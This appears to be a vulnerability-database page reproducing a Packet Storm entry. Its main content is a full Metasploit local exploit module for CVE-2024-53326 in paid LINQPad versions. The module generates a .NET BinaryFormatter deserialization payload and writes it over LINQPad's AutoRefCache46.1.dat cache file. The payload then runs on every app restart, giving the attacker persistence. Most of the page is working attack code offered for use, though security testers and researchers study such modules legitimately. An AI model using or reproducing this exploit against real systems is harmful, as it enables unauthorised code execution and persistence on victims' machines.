Lucene search
K

📄 LINQPad File Overwrite

🗓️ 11 Nov 2025 00:00:00Reported by msutovsky-r7, James WilliamsType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 132 Views

LINQPad deserialization bug in paid versions allows overwriting cache with a payload on restart.

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2024-53326
8 May 202600:00
attackerkb
Circl
CVE-2024-53326
13 May 202513:11
circl
CNNVD
LINQPad 代码问题漏洞
8 May 202600:00
cnnvd
CVE
CVE-2024-53326
8 May 202600:00
cve
Cvelist
CVE-2024-53326
8 May 202600:00
cvelist
EUVD
EUVD-2024-55573
8 May 202606:32
euvd
Metasploit
LINQPad Deserialization Exploit
13 May 202518:49
metasploit
Metasploit
LINQPad Deserialization
11 Nov 202518:58
metasploit
NVD
CVE-2024-53326
8 May 202606:16
nvd
Packet Storm
📄 LINQPad Insecure Deserialization
13 May 202500:00
packetstorm
Rows per page
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Local
      Rank = NormalRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html
    
      # includes file?, directory?
      include Msf::Post::File
      include Msf::Exploit::Local::Persistence
    
      # includes generate
      include Msf::Util::DotNetDeserialization
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'LINQPad Deserialization',
            'Description' => %q{
              This module exploits a bug in LIQPad up to version 5.48.00. The bug is only exploitable in paid version of software. The core of a bug is cache file containing deserialized data, which attacker can overwrite with malicious payload. The data gets deserialized every time the app restarts.
            },
            'License' => MSF_LICENSE,
            'Author' => [
              'msutovsky-r7 <[email protected]>',
              'James Williams' # original research
            ],
            'Platform' => 'win',
            'SessionTypes' => [ 'shell', 'meterpreter' ],
            'Targets' => [[ 'Windows', { 'Arch' => ARCH_CMD } ]],
            'Privileged' => true,
            'References' => [
              [ 'URL', 'https://trustedsec.com/blog/discovering-a-deserialization-vulnerability-in-linqpad'],
              [ 'CVE', '2024-53326']
            ],
            'DisclosureDate' => '2024-12-03',
            'DefaultTarget' => 0,
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [ARTIFACTS_ON_DISK]
            }
          )
        )
        register_options([
          OptString.new('CACHE_PATH', [true, 'Path to cache file directory containing deserialized data']),
        ])
      end
    
      # Simplify pulling the writable directory variable
    
      def check
        if !directory?(datastore['Cache_path'])
          return Exploit::CheckCode::Unknown('Cache directory doesn\'t exist')
        elsif !file?(datastore['CACHE_PATH'] + '/autorefcache46.1.dat')
          return Exploit::CheckCode::Unknown('Cannot find cache file')
        elsif file?(datastore['CACHE_PATH'] + '/autorefcache46.2.dat')
          return Exploit::CheckCode::Safe('Contains not vulnerable version of LINQPad')
        else
          return Exploit::CheckCode::Appears('LINQPad and vulnerable cache file present, target possibly exploitable')
        end
      end
    
      def install_persistence
        # generate payload
        vprint_status('Create deserialization payload')
    
        dotnet_payload = ::Msf::Util::DotNetDeserialization.generate(
          payload.encoded, # this is the Operating System command to run
          gadget_chain: :TextFormattingRunProperties,
          formatter: :BinaryFormatter
        )
        vprint_status('Saving the original content')
        cached_file_content = read_file(datastore['CACHE_PATH'] + '/AutoRefCache46.1.dat')
        backup_conf_path = store_loot(datastore['CACHE_PATH'] + '/AutoRefCache46.1.dat', 'text/plain', session, cached_file_content, 'AutoRefCached46.1.dat', 'autorefcache46.1.dat backup')
        vprint_status("Saved at: #{backup_conf_path}")
    
        @clean_up_rc << "upload #{backup_conf_path} #{datastore['CACHE_PATH']}/AutoRefCache46.1.dat"
    
        vprint_status('Overwriting file')
        # try to overwrite cache file
        fail_with(Failure::PayloadFailed, 'Writing payload to cache file failed') unless write_file(datastore['CACHE_PATH'] + '/AutoRefCache46.1.dat', dotnet_payload)
      end
    end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

11 Nov 2025 00:00Current
8High risk
Vulners AI Score8
EPSS0.03466
132